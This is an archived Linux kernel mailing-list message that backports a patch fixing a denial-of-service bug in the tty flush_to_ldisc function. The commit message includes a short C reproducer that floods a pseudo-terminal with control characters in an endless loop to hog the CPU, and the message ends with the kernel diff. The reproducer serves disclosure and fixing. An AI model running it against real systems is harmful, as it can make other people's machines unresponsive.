linux-kernel - [34-longterm 052/209] tty: prevent DOS in the flush_to

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Message-Id: <1302803039-9400-53-git-send-email-paul.gortmaker@windriver.com>
Date:	Thu, 14 Apr 2011 13:41:22 -0400
From:	Paul Gortmaker <paul.gortmaker@...driver.com>
To:	stable@...nel.org, linux-kernel@...r.kernel.org
Cc:	stable-review@...nel.org, Jiri Olsa <jolsa@...hat.com>,
	Greg Kroah-Hartman <gregkh@...e.de>,
	Paul Gortmaker <paul.gortmaker@...driver.com>
Subject: [34-longterm 052/209] tty: prevent DOS in the flush_to_ldisc

From: Jiri Olsa <jolsa@...hat.com>

  =====================================================================
  | This is a commit scheduled for the next v2.6.34 longterm release. |
  | If you see a problem with using this for longterm, please comment.|
  =====================================================================

commit e045fec48970df84647a47930fcf7a22ff7229c0 upstream.

There's a small window inside the flush_to_ldisc function,
where the tty is unlocked and calling ldisc's receive_buf
function. If in this window new buffer is added to the tty,
the processing might never leave the flush_to_ldisc function.

This scenario will hog the cpu, causing other tty processing
starving, and making it impossible to interface the computer
via tty.

I was able to exploit this via pty interface by sending only
control characters to the master input, causing the flush_to_ldisc
to be scheduled, but never actually generate any output.

To reproduce, please run multiple instances of following code.

- SNIP
#define _XOPEN_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
        int i, slave, master = getpt();
        char buf[8192];

        sprintf(buf, "%s", ptsname(master));
        grantpt(master);
        unlockpt(master);

        slave = open(buf, O_RDWR);
        if (slave < 0) {
                perror("open slave failed");
                return 1;
        }

        for(i = 0; i < sizeof(buf); i++)
                buf[i] = rand() % 32;

        while(1) {
                write(master, buf, sizeof(buf));
        }

        return 0;
}
- SNIP

The attached patch (based on -next tree) fixes this by checking on the
tty buffer tail. Once it's reached, the current work is rescheduled
and another could run.

Signed-off-by: Jiri Olsa <jolsa@...hat.com>
Acked-by: Alan Cox <alan@...rguk.ukuu.org.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@...e.de>
Signed-off-by: Paul Gortmaker <paul.gortmaker@...driver.com>
---
 drivers/char/tty_buffer.c |   14 ++++++++++++--
 1 files changed, 12 insertions(+), 2 deletions(-)

diff --git a/drivers/char/tty_buffer.c b/drivers/char/tty_buffer.c
index 7ee5216..b370629 100644
--- a/drivers/char/tty_buffer.c
+++ b/drivers/char/tty_buffer.c
@@ -413,7 +413,8 @@ static void flush_to_ldisc(struct work_struct *work)
 	spin_lock_irqsave(&tty->buf.lock, flags);
 
 	if (!test_and_set_bit(TTY_FLUSHING, &tty->flags)) {
-		struct tty_buffer *head;
+		struct tty_buffer *head, *tail = tty->buf.tail;
+		int seen_tail = 0;
 		while ((head = tty->buf.head) != NULL) {
 			int count;
 			char *char_buf;
@@ -423,6 +424,15 @@ static void flush_to_ldisc(struct work_struct *work)
 			if (!count) {
 				if (head->next == NULL)
 					break;
+				/*
+				  There's a possibility tty might get new buffer
+				  added during the unlock window below. We could
+				  end up spinning in here forever hogging the CPU
+				  completely. To avoid this let's have a rest each
+				  time we processed the tail buffer.
+				*/
+				if (tail == head)
+					seen_tail = 1;
 				tty->buf.head = head->next;
 				tty_buffer_free(tty, head);
 				continue;
@@ -432,7 +442,7 @@ static void flush_to_ldisc(struct work_struct *work)
 			   line discipline as we want to empty the queue */
 			if (test_bit(TTY_FLUSHPENDING, &tty->flags))
 				break;
-			if (!tty->receive_room) {
+			if (!tty->receive_room || seen_tail) {
 				schedule_delayed_work(&tty->buf.work, 1);
 				break;
 			}
-- 
1.7.4.4

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